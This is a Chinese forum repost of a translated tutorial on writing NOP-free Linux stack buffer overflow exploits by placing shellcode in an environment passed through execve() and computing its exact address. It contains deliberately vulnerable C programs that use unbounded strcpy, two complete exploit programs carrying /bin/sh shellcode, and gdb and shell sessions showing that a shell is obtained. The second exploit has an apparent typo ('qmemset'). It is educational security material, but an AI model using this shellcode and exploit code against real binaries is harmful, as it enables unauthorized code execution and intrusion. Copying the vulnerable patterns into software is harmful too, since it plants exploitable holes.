发新话题
打印

[转载]利用execve()函数写无nops exploit

[转载]利用execve()函数写无nops exploit

信息来源: 安全焦点

原作:Netric Security Team
    Instruction pointer schurken :-)
    By gloomy & The Itch
    "Radical Environmentalists"

翻译整理:OYXin
      www.ph4nt0m.net
    GAME_GHOST@163.com



    在绿盟问关于堆栈缓冲区溢出的时候遇到的一些问题,很多人都友善的建议我把shellcode放到环境变量,这样会比较容易,小弟我初学,当时还不是很清楚,最近刚刚packetstorm发表了Netric Security Team的关于使用环境变量写exploit的文章,好好看了看,觉得收获很大。从他的文章可以看出来这种技术出来一段时间了,国内的高手们也都知道(不然也不会那么建议),为了我自己和跟我一样的一些菜鸟我翻译了这篇文章,因为也是刚刚出来的paper,比较新,所以我觉得翻译还是有价值的,中间有自己的一些体会,原作有些地方没有讲的很清楚的地方,高手写文章都会默认菜鸟们什么都知道了,我结合自己的理解补充了一些东西,代码我也加上了注释。最后自己找了个特殊点的例子做了个测试。为了保持原作的风格,一些我的不同看法都作为注释,没准是我自己错了:).肯定有很多不足错误之处,大家多多包涵,有时间请给我提出来,欢迎交流批评。。谢谢。这篇翻译得到了一些朋友的帮助测试和支持,阿坤,刺,,envymask。pskey感谢你们。


文章正文:
    这是关于微小堆栈栈tips和欺骗的新文章。你现在正在读第一部分,第二部分将会介绍这种技术在Sparc上的实现。
  
    当我翻阅一些老文档,偶然和scrippoe交流的时候我有了写这个文章的主意。他告诉我一种基于缓冲区溢出包括普通堆栈缓冲区溢出而且在任何情况下都不需要nops的技术。换句话说我们把我们的buffer放到栈里面(最好是环境里面)并且精确的知道它定位的地址。这篇文章就是基于他很早告诉我的方法。
  
    当我们在我们的exploit里面调用有弱点的程序的时候,我们有几种方法。我们可以用一种很笨拙的方法system("./vuln");,或者是execl(path,args,NULL);等等。当我们选择system()的时候,我们能在环境里面提供我们的buffers,连同其他的很多环境buffers,因此,环境会变的很混乱并且使得我们不能精确的定位我们的buffer.当使用exec*函数的时候会出现同样的情况。除了execve()和execle(),它们有一个选项可以让我们定义将要执行的程序所用到的环境buffers.并且不是'exploit'自身的环境。这两个函数是execve()和execle().在我们的例子里面,我们会用到execve()而不是execle(),because execle() is nothing more then a front end to execve().(译者注:这句我真不知道改怎么翻译,大家可以这样理解吧,在这个地方execve()比execle()好,这里给除execle()的函数原型:
       int execle(const char *pathname,const char *arg0,.../*(char *) 0,char *const envp[]*/);
  
    (译者注:在这里我简单的说一下execve()这个函数,便于我们理解,以e结尾的两个函数(execle和execve)可以传递一个指向环境字符串指针数组的指针。其他几个exe*函数则使用调用进程中的environ变量为新程序复制现存的环境。通常,一个进程允许将其环境传播给其子进程,但有时也有这种情况,进程想要为子进程指定一个确定的环境。例如,在初始化一个新登录的shell时,login程序创建一个只定义少数几个变量的特殊环境,而在我们登录时,可以通过shell起动文件,将其他变量加到环境中。这里其实是unix高级环境编程里面的东西,具体的大家可以参考这本书)

---man execve---
NAME
execve - execute program
SYNOPSIS
#include <unistd.h>
int execve (const char *filename, char *const argv [], char *const envp[]);
...
  envp 是一个字符串数组,和key=value一样传递一个环境给一个新的程序。
...

     如果execve()调用成功,它并不返回。并且进程的text,data,bss,和stack被所调用的程序进程覆盖(老进程没有了),新进程和老进程有一样的PID,并且共享相同的STDIN,STDOUT,STDERR,然而,其他的文件句柄将被自动关闭(注:原作的话是and any open file descriptors that are not set to close on exec,但是我看的书告诉我是我翻译的那段话,这里我不能确定,看这个文章的最好查查资料)
...

----man execve----

     这里execve()明确的告诉我们我们可以提供一个全新的环境给程序。知道了这些以后,我们应该研究stack是怎么工作的,最好要清楚什么是环境。
linux进程的地址空间有4个逻辑段类似下面:


|--------------| /---- Higher memory addresses
| |
| stack area | <-- 这里是函数参数和局部变量储存的地方 | | 一般是按照后进先出的顺序分配 大小是动态的.
| ----------- |
| Heap area | <-- 这里是动态分配的区域 | | 一般是调用malloc()和free() | |因此heap的大小也是动态分配的。
| ----------- |
| Data area | <-- 这里是留给静态和全局变量的 | | 它的大小是固定的。
| ----------- |
| text area | <-- 这个区域是固定且只读共享的| | 它穿越整个程序,是字符串构成的。
| |
|--------------| \----- Lower memory addresse


     在程序执行的时候,text,和data段是映射到RAM的。heap和stack是在程序调用或者动态连接的一部分动态创建的。在这个特殊的技巧里面我们感兴趣的是stack。stack一般开始于memory offset 0xc0000000,在一些很特殊的情况下不是这样的,这种情况一般是有弱点的程序使用了setrlimit()来调整RLIMIT_STACK and/or RLIMIT_AS).在intel的架构上,stack从0xc0000000向下生长。我们应该看看/usr/src/linux/fs/exec.c以知道到底发生了什么。

----/usr/src/linux/fs/exec.c----
847: /*
848: * sys_execve() executes a new program.
849: */
850: int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)
851: {
852: struct linux_binprm bprm;
853: struct file *file;
854: int retval;
855: int i;
856:
857: file = open_exec(filename);
858:
859: retval = PTR_ERR(file);
860: if (IS_ERR(file))
861: return retval;
862:
863: bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
864: memset(bprm.page, 0, MAX_ARG_PAGES*sizeof(bprm.page[0]));
865:
866: bprm.file = file;
867: bprm.filename = filename;
868: bprm.sh_bang = 0;
869: bprm.loader = 0;
870: bprm.exec = 0;
871: if ((bprm.argc = count(argv, bprm.p / sizeof(void *))) < 0) {
872: allow_write_access(file);
873: fput(file);
874: return bprm.argc;
875: }
876:
877: if ((bprm.envc = count(envp, bprm.p / sizeof(void *))) < 0) {
878: allow_write_access(file);
879: fput(file);
880: return bprm.envc;
881: }
882:
883: retval = prepare_binprm(&bprm);
884: if (retval < 0)
885: goto out;
886:
887: retval = copy_strings_kernel(1, &bprm.filename, &bprm);
888: if (retval < 0)
889: goto out;
890:
891: bprm.exec = bprm.p;
892: retval = copy_strings(bprm.envc, envp, &bprm);
893: if (retval < 0)
894: goto out;
895:
896: retval = copy_strings(bprm.argc, argv, &bprm);
897: if (retval < 0)
898: goto out;
899:
900: retval = search_binary_handler(&bprm,regs);
901: if (retval >= 0)
902: /* execve success */
903: return retval;
904:
...
----/usr/src/linux/fs/exec.c----


     这里我们发现在linux_binprm 结构里面的执针p被设置为指向最后memory page在减去一个void指针,像这样0xc0000000 - 0x04,除非在程序里面有其他已经指定execve()过的。这里可以从line 863看出来:

863: bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);

下一个发生的事情是文件名被拷贝到memory(这是execve()第一个参数)。
可以在887看到这一点:
887: retval = copy_strings_kernel(1, &bprm.filename, &bprm);

计算后应该是这个样子的:
0xc0000000 - 0x04 - sizeof(file_that_gets_executed).(译者注:这里最好是写成filename_that_gets_executed,因为是文件名占用的字节大小)

然后就是程序execve()后的环境和参数被拷贝到memory,这个我们可以看lines 892和896:
892: retval = copy_strings(bprm.envc, envp, &bprm);
896: retval = copy_strings(bprm.argc, argv, &bprm);

当我们放置我们的shellcode到环境memory的时候,我们应该让我们的shellcode定位在:
0xc0000000 - 0x04 - sizeof(file_that_gets_executed) - sizeof(shellcode)

当这些程序的参数都被放到了memory里面后,自从我们得到了我们shellcode定位的地址,我们就不在对这些感兴趣了。我们已经拥有了所有必须的信息,现在让我们为下面的一个弱点程序写一个exploit:


----vuln.c----
01: #include <stdio.h>
02: #include <stdlib.h>
03:
04: int main(int argc, char *argv[])
05: {
06: char buf[100];
07: if(!(argc > 1)) { printf("gone --> no args!\n"); exit(1); }
08: if((getenv("HOME") == NULL)) { printf("no getenv!\n"); exit(1); }
09: strcpy(buf, argv[1]);
11: return 0;
12: }
----vuln.c----


    自从我们已经为其他的环境字符串建立了一个特别的对照在line 8。一些redhat 机器趋向于增加一些额外的字节给buffer,在redhat 7.2上面我们buffer的实际长度是:sub $0x78,%esp(0x78 = 120 十进制。这让我们的buffer有120个字节长,要覆盖eip我们必须提供128个字节)(注:在我的redhat 9上面也是一样的分配了120个字节长,这里要提到的一点是绿盟的backend和warning3说是gcc的问题,这里我没有在别的平台测试,所以我自己也不是很清楚到底是平台还是gcc的原因,不过在这里影响不大,warning3前辈说那些单字节溢出可能就无法利用了,这个我还没有研究过,这里只是提一下)

    下面一个程序是使用这个技巧所写的上面那个程序的exploit.

----expl.c----
01: #include <stdio.h>
02: #include <stdlib.h>
03: #include <unistd.h>
04:
05: #define BUFSIZE 120
06:
07: char shell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
08: "\x68\x2f\x62\x69\x6e\x89\xe3\x89"
09: "\x64\x24\x0c\x89\x44\x24\x10\x8d"
10: "\x4c\x24\x0c\x8b\x54\x24\x08\xb0"
11: "\x0b\xcd\x80";
12:
13: int main(void)
14: {
   /*构建一个buffer区,确定他可以覆盖eip就可以了*/
15: char buf[BUFSIZE+12];
16: char *prog[] = {"./vuln", buf, NULL};
17: char *env[] = {"HOME=BLA", shell, NULL};
18:
   /*计算返回地址*/
19: unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
20: strlen(shell) - 0x02;
21:
   /*将buf用"A"填满*/
22: memset(buf,0x41,sizeof(buf));
   /*用我们计算出来的返回地址覆盖eip*/
23: memcpy(buf+BUFSIZE+4,(char *)&ret,4);
24: buf[BUFSIZE+8] = 0x00;
25:
26: execve(prog[0],prog,env);
27: return 0;
28: }
----expl.c----


和上面所描述的一样,堆栈以后进先出的方式分配,我们需要让我们的shellcode在我们堆栈的最前面,我们必须让它作为数组env[]的最后一个参数。下面的图表说明了这些:

|------------------- | --> Top of the stack, at address 0xc0000000(esp)
- | 0x04 | --> esp is now at: 0xbffffffc
- | sizeof(prog[0]) | --> (vuln = 4 bytes long esp is now at: 0xbffffff8
- | second env string | --> our shellcode, it is 45 bytes (0x2d). esp is now at:
| | 0xbfffffcb - 0x02.
- | fist env string | --> first environment string, "HOME=BLA", and so on.
|------------------- |


我们的shellcode地址开始于:0xbfffffc9.
我们在后面减去0x02是因为strlen()并不把0x00字节计算在内。我们使用了prog[0]和shell[])我们必须都减去他们。
那么现在,我们测试一下

[itchie@netric sources]$ gcc expl.c -o expl
[itchie@netric sources]$ ./expl
done
sh-2.05$

这就是一个不需要nops的exploit.


文章翻译到这里就完了。

REDHAT 9下面不需要任何修改可以调试成功,如果没有源代码的情况可以用黑猫经典教程里面的二分法得到buffer大小.下面我以一个缓冲区很小的程序做例子测试。


vuln.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
   char buf[10];
   if(!(argc > 1)) { printf("gone --> no args!\n"); exit(1); }
   if((getenv("HOME") == NULL)) { printf("no getenv!\n"); exit(1); }
   strcpy(buf, argv[1]);
   printf("done!\n");
   return 0;
}


我们开始测试:
截取一下gdb调试的片断:

[oyxin@OYXin temppaper]$ gdb vuln
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...


Program exited normally.
(gdb) r `perl -e &#39;print "A"x20&#39;`
Starting program: /home/oyxin/temppaper/vuln `perl -e &#39;print "A"x20&#39;`
done!

Program exited normally.
(gdb) r `perl -e &#39;print "A"x30&#39;`
Starting program: /home/oyxin/temppaper/vuln `perl -e &#39;print "A"x30&#39;`
done!

Program received signal SIGSEGV, Segmentation fault.
0x42004146 in _r_debug () from /lib/tls/libc.so.6


(gdb) r `perl -e &#39;print "A"x32&#39;`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/oyxin/temppaper/vuln `perl -e &#39;print "A"x32&#39;`
done!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

计算应该得到buffer大小应该是24,我们可以验证一下

gcc -S -o vuln.s vuln.c

看vuln.s
pushl   %ebp
   movl   %esp, %ebp
   subl   $24, %esp

果然是,这是验证,没有源代码的情况你当然没有办法看的,呵呵。
写出你的exploit:


expl.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFSIZE 24
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
        "\x68\x2f\x62\x69\x6e\x89\xe3\x89"
        "\x64\x24\x0c\x89\x44\x24\x10\x8d"
        "\x4c\x24\x0c\x8b\x54\x24\x08\xb0"
        "\x0b\xcd\x80";
int main(void)
{
   char buf[BUFSIZE+10];
   char *prog[] = {"./vuln", buf, NULL};
   char *env[] = {"HOME=BLA", shellcode, NULL};
   unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
   strlen(shellcode) - 0x02;
   qmemset(buf,0x41,sizeof(buf));
   memcpy(buf+BUFSIZE+4,(char *)&ret,4);
   buf[BUFSIZE+8] = 0x00;
   execve(prog[0],prog,env);
   return 0;
}


试试看:

[oyxin@OYXin temppaper]$ ./expl
done!
sh-2.05b$

成功了,看来小缓冲区也没有问题。^_^

TOP

发新话题